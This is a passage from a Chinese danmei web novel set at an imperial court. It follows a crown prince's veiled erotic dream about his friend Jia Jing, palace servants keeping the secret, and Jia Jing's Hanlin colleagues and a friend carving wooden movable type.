莫沾染了水汽冻着了。” 外头风雨交加,屋内两学子并坐读书, 挨得极近。 “嘶, 可真冷啊。” 冷风贯入, 那位粉面小贤弟冻得一个激灵, 朝那名李兄怀里缩了缩, 汲取着李兄怀中的热度, 甚至将头埋进了李兄的颈窝处。 小贤弟忍不住喟叹道:“还是李兄暖和。” 李兄眼神意动, 将手中的书放下, 一把揽过小贤弟, “着实冷了,我们去床上暖和去。” 两人贴着到了床榻边,小贤弟朝李兄挑眉笑着,随手伸手稍稍一推,李兄顺势便倒入了帐中。 轻纱翩翩,似梦似幻。 李兄肆意地坐在床边,双手撑着床榻微微仰着,昂首看着面前的小贤弟,语气带着调笑道: “贤弟音律修得如何?” 小贤弟缓缓蹲下身,轻轻抬眸,眼中狡黠难掩,“自然是小有所成。” “且让我品上一品。” 小贤弟忽的不见人影,只见李兄额前的发丝慢慢被汗水浸湿,稍显凌乱地贴在脸颊上,薄唇不自觉地轻启,时不时溢出几声闷哼,那沙哑的声音里又带着一丝难耐的燥热。 “唔……” 李兄撑着锦被的手,猛地用力攥紧,锦被被扯得褶皱横生,更显出那扎眼的泛白指骨。 他敛眸垂眼,望着自己的衣袍下摆处的抖动摇晃,下意识滚动干涩的喉结,仿佛里面藏了只顽皮偷腥的猫。 忽然,李兄的气息变得急促几分,胸膛剧烈起伏,脖颈仰起,低吼了一声。 偷腥的小猫溜了出来,连嘴都没来及擦。 李兄眯着眼,“贤弟可品出什么韵调来了?” 小贤弟伸出手指,不急不慢擦着嘴,眼含挑衅回道:“谈不上什么丝竹雅乐,呕哑嘲哳之音,勉强入耳。” 李兄眼眸深邃,抬手捏住小贤弟的下巴,凑到小贤弟耳边,轻声道: “贤弟这音律修得着实一般,为兄来教上一教。” 小贤弟面容旖旎,笑着就转身要躲。 李兄长臂揽着,一手从后箍住小贤弟的腰,将他一把拽入怀中,紧紧相拥。紧接着,他猛地一个翻身,便和小贤弟换了个位置。 手轻轻一推,小贤弟迎着被面倒下, 小贤弟头埋在被中,他偏了偏头,鬓边几缕碎发洒在白皙的脸上,衣衫顺肩头滑落,露出一段修长的脖颈。 欺霜赛雪,莹白细腻如瓷般映入眼帘。 李兄气息陡然一变,像是被一只羽毛堵住了咽喉,轻柔的像似不存在,实则却瘙痒难耐。 他的手臂微微抬起,指尖在空中虚晃几下,终究是落在了那片白瓷之上。 从耳垂缓缓向下,沿着微微凸起的颈椎,一路滑至肩头。 小贤弟颤着身子,缩了缩肩。 “……痒……” 小贤弟好似唤了谁,声音如河边春风,丝丝缕缕,语调婉转,却听不大真切,李兄俯首轻哼: “嗯?” 小贤弟缓缓转头,藏着万千星子的眼瞧向他,那双桃花眼似勾子一般,扯住了他的魂。 萧淮川瞳孔一缩,望着他无比熟悉的那张脸,身体骤然一滞,他下意识握拳,指尖却触碰到一片细腻顺滑,酥麻之感顺着指尖直抵心尖。 他垂眸看去,已不知何时,李兄便成了他。 心底湖水被风卷起,溅起层层叠叠的涟漪。 白日里的马车所见所感,瞬间涌入萧淮川的脑中,迷雾彻底散去。 那人拢了拢肩头散落的衣服,稍稍遮住了那片扎眼的白,转眸唤着他: “淮哥……” “阿元!” 萧淮川惊醒,陡然坐起身,皱褶丛生的锦衾顺势滑落,一半耷拉在床边,摇摇欲坠。 萧淮川凤眼微睁,脸颊滚烫,浑身燥热。 “嗬嗬……” 夜深寂静中,独留萧淮川急促的喘息声。 他眼眸中带着红丝,迟缓地转头,紧紧盯着一旁的墙。 萧淮川的手放在绸缎床单上,下意识攥紧,像是要攥紧方才那起幻梦,绸缎床单上早已经留下深深浅浅的手印。 不知道看了多久,被里湿漉之感愈来愈明显,萧淮川身子顿了顿。 他的眼眸于黑暗中暗沉如水,眼底是难掩的不可置信和羞愤。 他不是什么懵懂的孩童,自然清楚,刚刚发生了什么。 他居然……做了那等旖旎之梦。 若是一般的情况,其实萧淮川并不在意。他不近女色,难免冲动。 梦中景象他亦不陌生,正是他今日在翰墨轩随意抓到的那册书,讲的便是两至交好友科考,雨宿寺庙,巫山云雨。 是本男风旎情之作。 可他又梦了什么,梦中之人居然在最后一刻,变成了……阿元! 这怎么可能!这怎么可以! 马车上瞥见的肩头,梦中小贤弟的风流之态,在萧淮川脑中一一闪回,怎么也赶不出去。 萧淮川抬手掩住眉眼,想要遮挡住眼底还未削减的欲色,又好似想要遮掩他肮脏龌龊的心。 窗外,偶有一丝冷风从软烟罗纱窗缝中挤入,拂过萧淮川滚烫的肌肤,却吹不熄他那灼热难忍的燥意。 “啪!” 萧淮川抬手便抽了自己一巴掌,脸颊瞬间红了一片,他却不甚在意。 火辣的疼痛提醒着萧淮川,这一切是多么的荒唐。 他就这么坐着,不动不睡,直至天边泛起鱼肚白。 · 贾敬睁眼时,懒散的伸了伸懒腰,昨晚睡得好,起来精神气十足。 他像是想起什么,捞起旁边挂好的衣裳,兀自穿了起来。 素雪进门时,贾敬已然将衣服穿好。 “诶,二爷醒了怎么不唤奴婢?” 素雪将手中的洗漱盆具放下,就要上前帮贾敬整理衣物。 贾敬摆摆手,迈步就要朝外走去,“我去瞧瞧淮哥醒了没有。” 素雪听闻连忙道:“二爷,太子殿下天将将亮时,便已经回了宫了。” 贾敬一愣,脚步顿住,转头看向素雪,“回去了?一大早?” 素雪点头:“是,说是宫中有急事,速寻太子殿下回宫。” 贾敬一听,心中不禁一紧,语气透露着焦急,“宫中有急事,可说了什么急事?可有给我留什么话?” “殿下说,让您好好休息,其余的,殿下便没说了,奴婢也不清楚什么事。”素雪摇头。 贾敬心中的焦虑未消,想着会是什么急事。 难道是天丰帝寻萧淮川有急事? 还派人来宁国府通报,天丰帝是知晓萧淮川昨晚未回宫,歇在了他这儿? 一想到这个可能,贾敬就更加急了,朝食吃的都敷衍了许多。 素雪见了,忍不住劝道:“二爷,您今日还得当差,下值都到傍晚了,可多用些吧。” 贾敬随意摆了摆手,示意自己没事,紧接着,他不死心地又问素雪: “太子殿下走时,神情可有什么异样?” 其实,萧淮川平日里是喜怒不形于色,惯是从容不迫之态,想从他的神情看出一些事来,不可谓不难。 贾敬这么一问,也没指望素雪真的能答什么。 若不是待会儿他急着去翰林院当值,恨不得现在就去寻萧淮川。 贾敬扯了扯嘴角,只当自己关心则乱犯了蠢,刚开口道: “算了,就……” 谁知素雪当真迟疑了一番,贾敬脸色一肃,追问,“太子殿下有不同以往之处?” 他的心不由得沉了沉,不会真的出了什么事吧? 素雪张了张嘴,面露纠结,想了一会儿措辞,语气里带着些不确定道: “太子殿下倒是没什么异于平常之处。” 素雪其实也没见过萧淮川几次,只是萧淮川瞧着并没什么异样,还嘱咐自己好好照看自家二爷呢。 但要是其他异样之处,那还是有的。 “但是,有一处显得很是怪异。”素雪的秀眉都皱在了一起,“太子殿下离开后,奴婢便领着几位小丫鬟去收拾厢房,谁知那间厢房里,奴婢所准备的床单被褥,统统不见了踪迹。” “啊?”贾敬闻言,亦是一愣。 什么?床单被褥不见了踪迹? 素雪小心翼翼地看了眼贾敬,声音颤颤,“二爷,那被褥定然也不会是太子殿下拿走的,咱们院不会是……” 她的眼里闪过一丝恐惧,“我听闻有专门吃被褥的床头小鬼……” “别瞎说!”贾敬伸手敲了一下素雪的脑袋,心中则是想着,这被褥究竟去了哪里? 贾敬也不觉得和萧淮川有关,只当是府中进了贼。 东宫 萧淮川步履匆匆地回了自己的寝宫,将自己关在了书房,让太监给他告假,身体不适,今日早朝和户部那边他便不去了。 忍冬得了话,没多问,便听萧淮川的吩咐去了。 过了好半晌,书房外有个身影鬼鬼祟祟靠近,却好似犹豫一般,不敢靠近,萧淮川掀了掀眼皮,沉声问道: “都处理了?” 小德子虚着声音道:“殿下,都处理干净了。” 【作者有话要说】 小萧做梦了,哈哈哈哈哈 第69章 忍冬跟御前那边通报了一声, 便回了东宫,一眼便瞧见垂首站在书房门口的小德子,颔首走了过去。 小德子很是机警, 刚听见脚步声,就连忙抬头,见是忍冬, 躬身陪笑道: “忍冬公公, 您来啦!” 忍冬朝小德子抬了抬下巴, 似笑非笑道:“殿下让你在这守着的?” 小德子点头哈腰地应道:“是。” 忍冬的目光朝萧淮川的书房瞥了一眼, 见门关着,又看向小德子,笑眯着眼道: “殿下既然在里头处理事务, 那你便在这儿候着, 若殿下有什么吩咐,也好及时听从差遣去。” 忍冬面对这位最近在萧淮川面前露脸的小太监,嘴上叮嘱着,心里却难免有些吃味。 “既然在殿下面前得了脸, 就该好好伺候着,这往后……”忍冬说着顿了顿, 才接着道, “好日子少不了你的。” 小德子何等机灵, 自然是瞧出这位东宫总管太监神色间的微妙, 眼眸稍稍一转, 脸上堆笑恭维道: “多谢忍冬公公指点, 您在东宫多年, 办事稳妥, 小的一直对您敬仰有加, 往后还得多跟您学着点儿,就算是些皮毛,也能让小的在这东宫好好当差了,不给您丢脸。” 小德子说着,又朝忍冬躬了躬身,“您是殿下身边的红人,小的以后就依仗公公您,还请您多多提点了。” “哼。”忍冬听着忍不住轻哼了一声,脸色稍缓,嘴角微微翘起。 小德子这一番话说得巧妙,先是恭维忍冬说他在东宫多年,能力超群,他自当跟着后面学着,随后又点了忍冬是萧淮川的心腹,地位稳固,最后,将自己的地位放低,朝忍冬示弱,望忍冬以后能够照拂于他。 忍冬心中对这小德子的戒心,倒是减了几分。心想这小子若能一直这般谦逊,倒也不是不能容他。 “得殿下青睐,这是你的造化,好好干着吧。”忍冬缓缓伸出手,拍了拍小德子的肩膀。 小德子忙不迭地称是。 忍冬与小德子并排站着,站了一会儿,忍冬看似不经意地问了小德子一句, “昨日跟着殿下,可有遇见什么事?” 忍冬看似云淡风轻,眼睛却微眯起紧紧盯着小德子。 殿下一大早回宫,便让他去告了假。 小德子闻言心下微动,感觉如芒在背。 忍冬自小跟在殿下身边伺候,东宫太监总管的位置亦不是他人可以动摇的。 小德子摸不透忍冬问他这话的用意,可也清楚,殿下吩咐他做的那隐秘事,轻易不得让人知晓。 他脸上却堆满着笑,嘴上说道: “一切安好,殿下昨日接了二爷后,便一直跟二爷在一起,小的在旁伺候着,不敢有丝毫懈怠。” 忍冬微微点头,可目光并未移开,“昨夜殿下……” 小德子立刻明白了忍冬的意思,接话道:“昨夜是小的一时失误,看岔了时辰,错过了宫门落锁,殿下便宿在了二爷府上。” “以后这样的事儿,紧着皮些。殿下的安危可不是小事。”忍冬扯了扯嘴角,眼神变得犀利了几分,“不然,你几条命都不够赔的。” 小德子被忍冬的话吓得一颤,脸上瞬间渗出了冷汗,神色带着后怕,“小的知道了,小的知道了。” “谢公公提点!” 忍冬瞥着小德子,“以后,若是有什么情况,莫要藏着掖着,也好让咱家知晓,咱家才能更好地协助,莫要误了殿下的事。” 小德子:“诶,小的知晓。” “忍冬,进来。” 此时,书房内传来萧淮川的传唤。 小德子听着忙推开门,请忍冬进去。 忍冬一进门,只见萧淮川端坐在书桌前,低垂着脑袋,微露的眉头皱起,似是被眼前的折子所烦忧。 萧淮川抬眼看着忍冬,开口问道:“跟御前那边说过了?” 忍冬上前一步,“回殿下,奴婢跟陈总管回禀了,陛下让您好好歇着。” 他说完稍稍抬眼,细细观察着萧淮川的脸色,见萧淮川一侧脸颊泛着薄红,语气不禁带着担忧, “殿下,您若是身子不适,可要奴婢去请个太医?” 萧淮川闻言,凤眼眯起,随后朝忍冬扬了扬下巴,“去传刘兆。” 刘兆便是太医院的副医正,亦是萧淮川的心腹。 忍冬听萧淮川要传刘兆刘太医,神情忍不住一肃,“奴婢这就去。” 真当萧淮川身体有了什么严重不适。 萧淮川:“嗯。” 忍冬又试探着开口问道:“奴婢可以避着些人?” 萧淮川:“不用,就正常去请便是。” 忍冬退至门外,又听萧淮川吩咐道: “后面就让小德子跟在你后面办差,你多带带他。” 忍冬头低了低,“是。” 他一出来,在门口静静候着的小德子便笑迎着,“公公。” 忍冬轻飘飘一个眼神过去,尾音拉长,“在这好好伺候着吧。” 说完忍冬便一挥手中拂尘,迈步走了。 小德子目送着忍冬离去,稍一转身,就撞见了萧淮川,他连忙躬身,“殿下。” 萧淮川盯着小德子看了一会儿。 “你去给阿元带句话,”萧淮川说着,面色滑过一丝怪异,顿了顿道,“今早不告而别,应当是吓着他了,是孤的不是。” “这几日或许会有些外界的传闻,让他不必担忧,这一切孤自有安排。” 小德子:“是,奴婢知道了。” 萧淮川又道:“你等会儿去小厨房拿些点心,到翰林院给阿元送去,让他当差时垫垫肚子。” “是,奴婢知道了。” 小德子又等了一会儿,见萧淮川不再出声,便准备告退去小厨房命人准备点心,谁知,萧淮川冷不丁地开了口。 “那件事,孤希望不会有第三个人知道。”萧淮川语气淡然,却让小德子忍不住打了个冷颤。 小德子扑通跪倒在地,“奴婢定会守口如瓶,绝不敢有丝毫泄露,殿下放心。” 他额头触地,声音微微颤抖,深知此事关系重大。 萧淮川微微抬眼,目光在小德子身上停留片刻,“如此便好。” 小德子待萧淮川进去后,整个人都软了下去,瘫坐在地上,心扑通扑通跳着,脸上挂着似哭似笑的神情。 他怎么就那么不凑巧,早起发觉萧淮川已经醒了,便出声询问: “殿下,可需要奴婢进来伺候?” 里面沉默了一会儿,小德子听到: “嗯。” 当小德子望着那被褥上的一摊湿漉后,他先是一愣,随后便想自戳双目。 他居然撞见太子殿下行那等事,他还有命活? 可也不知道是他运好还是萧淮川心善,居然只是吩咐他将那一床被褥小心处理了。 小德子战战兢兢的将事情办了,心中则是将自己的下场都想了一遍。好点儿也不过是被拔了舌头,若是差点儿,这条贱命也就搭在这儿了。 在宫中摸爬滚打这些年,小德子早已经对很多事都看得分明了。 却不曾想,萧淮川竟然只是问询了一句。 不仅如此,小德子还因此得了一个近身伺候的机会,可谓是一朝飞升了。 “小德子定然不会辜负太子殿下。” 小德子心中念着,脚步不停去了小厨房。 · 贾敬这头刚在翰林院官署下了马车,便看见一个熟悉的身影朝自己这边小跑而来,正是小德子。 因着萧淮川一大早不告而别的事情,贾敬便一直忧心忡忡。 “淮哥那边可有什么急事?” 小德子只是将萧淮川的话,原封不动的告诉了贾敬。 贾敬闻言,心中虽有疑惑,可到底是放下了心来。 看来是萧淮川自己有了什么计划。 “二爷,殿下说向您道个不是,让您别恼。” 小德子笑着将手中的食盒奉上,“这是殿下特地吩咐奴婢送来的点心,生怕二爷您当值饿着了。” 贾敬看着小德子手中的食盒,眸光柔和了几分,瞧着很是适用,嘴上却道: “把我当孩子哄呢?” 手上却极为自然的接过了食盒。 贾敬提着那一食盒进了屋,坐在了昨日他擦干净的椅子上。 食盒放下,立刻吸引了宋子虚的目光,他嗅了嗅鼻子,“呀,好香。” 他挠了挠脸,眼巴巴的看着贾敬。 坐在贾敬另一旁的程一序也凑了过来,盯着贾敬的食盒,“唔,我刚巧没吃朝食。” 贾敬手按在食盒盖上,盯着面前的两人,没说话。 谁知坐在他前面的薛琼此时也转过身,脸上挂着温和的笑,“培元,我也没吃朝食。” 贾敬扯了扯嘴角,显然不信他们三人的话,“你们三个昨晚商量好的?” 但他也没真的那般小气,嘴上刺着,手上动作却没停,将食盒打开。 刚做好的点心还带着温热,香气浓郁。 程一序率先伸手拿了一个。 贾敬眉毛轻挑,神情有些怪异,他和程一序有那么熟吗? “果然香!”宋子虚塞了一个到嘴里,夸赞道。 薛琼也伸手拿了一个点心,慢慢吃了起来。 三个成年男子,你一个,我一个,没一会儿就将最上面的一层点心吃了个干净。 贾敬连忙盖上盖子,“你们三个还真没吃啊!” 宋子虚擦了擦嘴,一脸诚恳和感激,“是啊,多亏培元的点心,不然我们真的要饿肚子了。” “昨晚我们三个畅聊太晚,这才睡过了头。” 贾敬一愣,“你们三个?畅聊?” 第70章 贾敬目光在宋子虚、程一序和薛琼三人之间来回扫视着, 接着目光定格在宋子虚身上,扬了扬眉道: “子虚兄和谦之兄不是说好一起去逛书市了吗?” 贾敬说着朝程一序瞥了一眼,语气透露着嫌弃, “怎么还和他畅聊一夜了?” 宋子虚被贾敬的眼神一瞧,先是朝程一序看去,见他面不改色, 没生气, 才朝贾敬讪讪一笑道: “这事儿也是缘分, 我和谦之兄昨日是去了书市, 正巧碰上了程兄,这才一道的。” 薛琼朝贾敬笑道:“确实如此。” 贾敬哼了一声,没说话。心道, 还真就这么碰巧让他们遇见了? 自己昨晚也和萧淮川去了书市, 虽说迟了些,可还真没遇见他们。 谁知,旁边一直没吭声的程一序却忽然开口道: “培元兄可是好奇?” 贾敬自然好奇他们三人凑一起聊了些什么,可他并未在程一序面前承认。只见他掀了掀眼皮, 勾唇朝程一序笑着,不说话。 程一序也不在意, 俗话说, 吃人家的嘴软, 拿人家的手短, 他方才吃了贾敬的点心, 自然不该这般卖关子。 “我与谦之兄、子虚兄是在翰墨轩碰见。” 贾敬一听, 心中暗道:果然是翰墨轩。 可念头刚冒出, 贾敬便直觉不对, 程一序是怎么肯定, 自己一定会知道东市书市这家新开的书肆翰墨轩呢? 贾敬眸光闪了闪,略显犀利的目光射向程一序,“翰墨轩?” 他尾音上扬,似是不知道翰墨轩,又似是惊讶他们于此处碰见。 程一序对上贾敬的目光,缓缓一笑,还未等他开口,旁边的宋子虚便急着解释道: “培元,就是我昨日与你说的那家书肆,你昨日没和……没去?” 宋子虚说了一半没说出的人,自然是萧淮川,他下意识避讳。 贾敬没说去,也没说没去,他的视线一直落在程一序身上。 见程一序一副老神在在的模样,贾敬的眼皮微不可察的跳了跳。 宋子虚说到昨日的事情,就打开了话匣子,滔滔不绝起来。 “培元,你是不知道,昨日我们去的时候,凑巧碰见翰墨轩到了一批新书,你猜,是关于什么内容的?” 贾敬抬眸看着宋子虚兴奋的模样,心中有了一丝猜测: 不会是他昨日翻看过的那本《京华策林新纂》吧? 下一瞬,宋子虚从一旁书箱里掏出一本书,证实了贾敬的猜测。 熟悉的封面,熟悉的“佩云斋”落款,正是《京华策林新纂》。 贾敬心中也有了一丝了然,宋子虚、薛琼和程一序在翰墨轩碰见,应当早于自己许久。 “哦?”贾敬一副感兴趣的模样,“这书有什么特别之处?” 说着,贾敬就作势翻开,认真看起了里面的内容。 宋子虚手上动作不停,居然又从书箱里掏出了几本书,依旧是“佩云斋”落款。 “培元,这位佩云斋先生当真厉害了得,这些书编得相当好。” “嗯。” 薛琼也跟着点头,他们这些精深举业、从科举路上走来的,何人不清楚这几册书的重要? 贾敬动作很快翻看完,也跟着意犹未尽地感慨道:“当真了不起。” 宋子虚:“我昨日就是在看这书时,恰逢程兄,得程兄邀请,我们便寻了间雅间坐下,这一聊就……” 他挠了挠脸,朝程一序看去,程一序莞尔一笑。 贾敬将他们间的互动看在眼里,看来昨晚三人的畅聊还真是话很投机。 薛琼伸手拿过一本,轻声喃喃道:“佩云斋……何许人也?” 贾敬目光瞥向一旁不说话的程一序,刚要准备说什么,就听见一道低沉的声音在身边响起。 “过来。” 几人闻声看去,见方海峰正站在一旁,手指了指他自己面前的桌案。 “方大人。” 四人站至方海峰的桌案前,朝方海峰作揖,眼神则已经偷偷朝书案上那几摞不容忽视的书看去。 方海峰手一伸,将那几摞厚重的书就推到了贾敬他们几人面前,直接发布命令道: “这些日子,你们就将这些书整理出来吧。” “不懂得,这屋子里的书都可以自行查看。” 方海峰这话一出,贾敬几人视线又不约而同的朝别的角落看去,是那三位典籍的位置。 他们想要翻看,这些老典籍愿意给他们翻吗? “看书的时候注意着些。” 方海峰丢下这么一句便起身离开了。 宋子虚张了张嘴,“他、他就这么走了?” 薛琼若有所思地望着昨日脾气最火爆的老典籍,他们同处一个屋檐下,说话不可能听不见。 “看来方大人一切都已经谈妥,那我们便做事吧。”薛琼朝贾敬三人建议道。 贾敬点头,伸手捞过一本书,翻开才知道自己要做什么,原来是各地方收录上来的地方志史料。 程一序边看边道:“这些史料太过零碎,有的也显得不甚考究。” 怪不得方海峰让他们弄不明白的去翻书,想将手上这些地方志史料梳理出来,还真不容易。 贾敬看着桌案上几大摞书册,有些傻眼,他还真没梳理过这些。 薛琼显然家学渊源,他将书册大致分成了四份,“我这是按照地域大致分了一下,我们一个负责一部分,先将……” 待薛琼说完,几人皆没有问题,便拿着属于自己的那部分,回了座位,开始梳理。 这屋子里其余三个角落,同意是安排了差不多的活计,只是那三个角落有三位老典籍当监工,时不时便要弄出些动静来。 相较之下,贾敬这处便要安静许多。 一天的时间就在这枯燥又有趣的梳理工作中度过。待贾敬站起身时,动了动僵硬的脖颈和腰部,酸涨感让他的脸瞬间一抽。 宋子虚几人亦是差不多的神情。 几人姿势古怪的出了翰林院官署,知道的是梳理史料,不知道的,还以为翰林院里面打架了。 程一序不知何时走到了贾敬什么,贾敬斜了他一眼,直接开口道: “你知道我昨天去了翰墨轩。” 程一序似是没预料贾敬会这样直接开口,先是一愣,随后轻笑道: “偶然看见一道似培元兄的身影,没想到还真的是。” 贾敬微微侧身,嗤笑着看向程一序,这人还真是狡猾,明明已经知晓是他,嘴上还谦虚的说着什么好似。 不过是逛书肆,也没什么好藏着掖着的,贾敬也并未将此事放在心上。 “你这两日当差,独留阿玦一人在家?” 贾敬像是想起什么,向程一序问起了皇甫玦。如今距离国子监开课,还有些日子。 “他?”程一序挑眉,“他可是个大忙人。” 贾敬忆起那位灵动活泼的小公子,心中起了一丝兴致,“他在忙什么?” 程一序听贾敬这样问,犹豫了一瞬,便道:“培元兄若是好奇,不妨去我那里坐坐?” 贾敬看了看天色,残阳如熔金般染红了天,想着今日也无其他安排,便点头应了。 一来,他确实想要去见见皇甫玦,二来…… 贾敬偏头看了程一序一眼,他总觉得,这个程一序接近他的态度和目的,有些刻意,显得怪异。 程一序抬手朝前方指了指,“我家就住在前面巷口,步行前往便可。” 贾敬颔首,让府中马车先行回去,只留了阿福一人跟着。 确实如程一序所说,住处距离翰林院官署不远,出了巷口便到了。 贾敬看着眼前的二进独院,“程兄阔气啊,在翰林院门口这寸金寸土的地儿,还能找到这么一个清静地儿。” 程一序邀请着贾敬进去,“比不得国公府,这院子是赁来的。” 贾敬没说话,对于程一序的话,他也没说信,也没说不信。 进了院落,就有一位中年嬷嬷迎了上来,“少爷回来了。” 嬷嬷看见贾敬,眼睛一亮,“诶呦,少爷竟然带好友上家中来了,快请进快请进。” 热情的架势让贾敬一懵,可到底还是礼貌的朝嬷嬷笑了笑,迈步进去。 程一序:“李嬷嬷,这位是宁国府的二公子,亦是我如今翰林院的同僚。” 李嬷嬷点头,笑得一脸灿烂,“晓得了,晓得了。” “诶呦,我要去厨房看看,今晚的菜可备足了。” 说着,李嬷嬷便腿脚麻利地朝后院走去。 “诶……”贾敬伸出手,有些呆,他何时说要在程家用膳了? 程一序亲自给贾敬倒了杯茶,“李嬷嬷是从小跟在阿玦身边伺候的,阿玦只爱吃李嬷嬷烧的菜,便也跟着我们来了京。” “算你有口福,待会儿你也尝尝。” 贾敬眨了眨眼睛,他说要留下用膳了吗? 可刚刚李嬷嬷的兴奋劲儿,贾敬这时也不忍再拒绝,只好点头应下。 “阿玦呢?”贾敬四处看了看。 程一序脸上笑意深了几分,“他应当在后院,你去瞧瞧?” 贾敬有些迟疑,“合适吗?” “自然。” 贾敬只好跟着程一序去了他家后院,刚迈进后院,就听到一阵“哼哧哼哧”的声音,音量不小,富有节奏。 “这是在……”贾敬话没说完,目光忽的顿住。 下一瞬,一堆东西迎面朝贾敬袭来。【你现在阅读的是魔蝎小说 moxiexs】 70-80 第71章 “小心!” 一声提醒在贾敬耳边响起, 他下意识抬起袖子,掩住了脸,可还是被这扑面而来的东西呛了一鼻子。 “咳咳咳……” 贾敬只觉得鼻腔内一阵痒意和窒息, 忍不住的咳嗽起来。 “培元兄,你可有事?”程一序的语速较平时快上了许多。 贾敬因咳嗽闭眼,眼皮上掉落一块小碎屑, 让他眼睛也瞬间变得通红, 眼眶里不受控制的溢出泪来。 他此时难受得也根本回不了程一序的话。 贾敬紧紧闭着眼, 用力挤着, 试图将那些碎屑挤出眼眶。 “培元哥哥,我、我不知道是你……”皇甫玦声音慌张的凑到贾敬边上,一副想要上手帮忙, 却不知道该如何做的模样。 贾敬虽看不见, 可也听出是皇甫玦的声音,他闭着眼摆手。 程一序见皇甫玦那满是木屑的手就要伸向贾敬时,顿觉头疼, “还在那边呆愣着作甚?还不快去拿干净的帕子和水来!” 皇甫玦愣怔了一下, 随后回过神来,朝屋子里跑去。 程一序则是眼带担忧的看着贾敬, 眼底里透着他自己都未曾察觉的懊恼。 他只想带贾敬来看看皇甫玦的一些东西, 却没想到会闹这么一出。 “没事……” 贾敬勉强睁开眼, 眼睛依旧酸涩, 眼里布满了红血丝, 显得很是瘆人。 程一序见他这狼狈样, 心中更不是滋味, “这件事是我的疏忽, 没有考虑周全, 对不住了。” 贾敬刚刚因剧烈咳嗽,呼吸有些喘,他缓好一会儿,斜睨着程一序,哑着嗓子道: “难得见你这般。” 平日里程一序的嘴,可没这般软过。 程一序欲言又止,心中默念,这次是自己的疏忽,这才好不容易忍住了怼人。 不多时,皇甫玦气喘吁吁地跑了回来,手里紧紧攥着一方干净的帕子和一壶清水。 他的鬓边碎发被汗水浸湿,贴在脸颊上,眼神里满是愧疚,“培元哥哥,你快擦擦。” “看看眼睛里还有没有木屑,可别伤了眼睛。” 说着,皇甫玦赶忙将帕子递向了贾敬,他望着贾敬红到不行的眼睛,眼里的惴惴不安都要溢了出来,嘴角也早就抿成了一条直线。 贾敬怀疑,下一秒眼前这小孩儿就要哭出来了。 他顺势接过帕子,鬼事神差的开了句玩笑话,“我若真有事,该如何?” 说完贾敬微微眯眼,用帕子轻轻擦拭着眼眶周围,刺痛感才稍稍缓解了些。 “你若是真有事,我定会负责!你让我做什么都成!” 皇甫玦一直眼巴巴地盯着贾敬,见贾敬放下帕子,忙不迭的追问道: “培元哥哥,还难受吗?” 贾敬缓缓睁眼,看向皇甫玦,见他那一副天塌了的紧张模样,心下不禁有些好笑,“别担心,不会讹上你的。” 皇甫玦还有些不放心,“真的?” 贾敬故意板着脸,沉声道:“你还真想我有事,然后什么都听我的?” 皇甫玦顿觉缩了缩脖子,小声念叨:“没事就好,没事就好。” 他说完,也觉得自己这样有些尴尬,他挠挠头,嗫嚅解释道: “培元哥哥,我、我真不是故意的,我就是在雕个物件儿……” 皇甫玦解释的自己都有些心虚了,谁家雕木头,能把木屑雕的满天飞的?还直接朝人脸上飞。 他咬了咬唇,直接一抬手,指向旁边的程一序,“我一开始只是想捉弄他而已。” 这说的是实话,可皇甫玦怎么也没想到,程一序居然将贾敬带回了家中。 程一序听着,忍不住冷哼,抱臂看着皇甫玦,“我就能这样被糊一脸木屑?” “幸好今日只是些木屑,要是伤得重了,可怎么好?” “皇甫玦,你胆子现在是越来越大了啊?” “我……”面对程一序的说教,皇甫玦张了张嘴,想要回怼程一序,可他又理亏,最后将头偏过去,只看着贾敬道, “培元哥哥,对不住了,是我任性贪玩了。” 贾敬歇了这么长时间,也终于缓了过来,没有那么难受了。 他伸手取下皇甫玦发丝上勾着的一缕木屑,叮嘱道:“往后做事可得仔细着点儿,贪玩也要也有个度。” 倒是稀奇,面对贾敬的教诲和叮嘱,皇甫玦连连点头,乖巧的像是一只做错事耷拉着脑袋的小狗。 程一序眯了眯眼,在贾敬和皇甫玦两人之间扫过,却没有说话。 贾敬拍了拍衣袍上沾着的木屑与灰尘,下一瞬,目光就定在了旁边的一堆物件上。 他这才看清,院中檐廊下摆满了木头,被削成了一个个等大的小方块。 “这是在雕什么?”贾敬有些迟疑,他实在没看出皇甫玦在雕什么。 皇甫玦脸上闪过一丝纠结,像是在考虑要不要说,而程一序则是直接拿起一个,朝贾敬一抛。 “哝,给你瞧瞧。” 贾敬手一伸,便将这一块木头拿在了手中。 只是一块雕刻方正平整的小木块。 贾敬手指转动,小方块迅速翻着面。忽然,贾敬的手一顿,目光落在了小木块的其中一块面上。 他抬起手,对着光瞧着,紧接着用手指轻轻摩挲那一块面,是一个字,还是反体。 “这是……”贾敬眼神惊奇地望向皇甫玦,“这是一个‘贺’字。” 皇甫玦听着眼睛一亮,忙不迭点头:“对,这是‘贺’字,不过这个字我才刚刚雕了一半,还未雕完呢。” 贾敬将小木块放于手中把玩,“阿玦这是在做印章篆刻吗?” 说完,贾敬便觉得不像。 他好书法,常说书画同源,书和篆刻亦是同源,他虽鲜少自己动手篆刻,可对篆刻这一方面还算了解颇深。 就算要练习篆刻,一般也都会选一些石料来练习,而不是木料。 况且一般篆刻练习多是练习些小篆,像皇甫玦这样的规整的楷书,还真是少见。 这字反而像是…… “像不像印在书上的?”程一序在一旁提醒道。 “对,像印在书上的。”贾敬下意识点头,诧异地看向皇甫玦,“你这是在雕刻印刷字?” 皇甫玦此时也不再犹豫,坦然承认,“没错,这正是印刷字。” 贾敬眼中带着好奇,看向那一堆和自己手中这枚别无二致的小木块,追问道: “这就是活字印刷?” 贾家并不涉及书籍出版,因此他也只是听说过这些印刷术,却不曾见过。 “我听闻活字之术,书籍排版起来更为灵活。”贾敬来了兴致,一边看着那些已经完成的小木块印刷字,一边询问着皇甫玦。 显然,聊到这个话题,皇甫珏亦是很高兴。 “正是活字印刷,这类相较于泥版印刷和铅版印刷,木版会更加便宜,取材也便捷。” “挑好木板后,雕琢成字模,按照想要的书籍进行排版,蘸上墨印于纸上,一本书便成了。” 皇甫玦分析的头头是道,贾敬也听得入神,摩挲着手中木块,似是想到什么,又问: “如此说来,木制的活字印刷,成本能降下许多,若是能推广开来,岂不是能让书籍更便宜许多?” 就算是贾敬这样的富家子弟,也不得不承认,当下的书籍是个昂贵之物,更不要提那些寒门子弟的读书人了。 若是能将书的价格降下,便能让更多人读得起书。 皇甫玦似是明白贾敬的意思,先是点了点头,随后又摇头。 贾敬眉头微动,“怎么了?这里面还有什么门道,阿玦不妨说与我听。” 皇甫玦也拿起一枚小木块,举起来给贾敬看,“培元哥哥,请问这是什么字。” 因为是反体,贾敬也辨认了好一会儿,才回答:“可是‘贇’字?” 皇甫玦点头,“确实是这个字。” 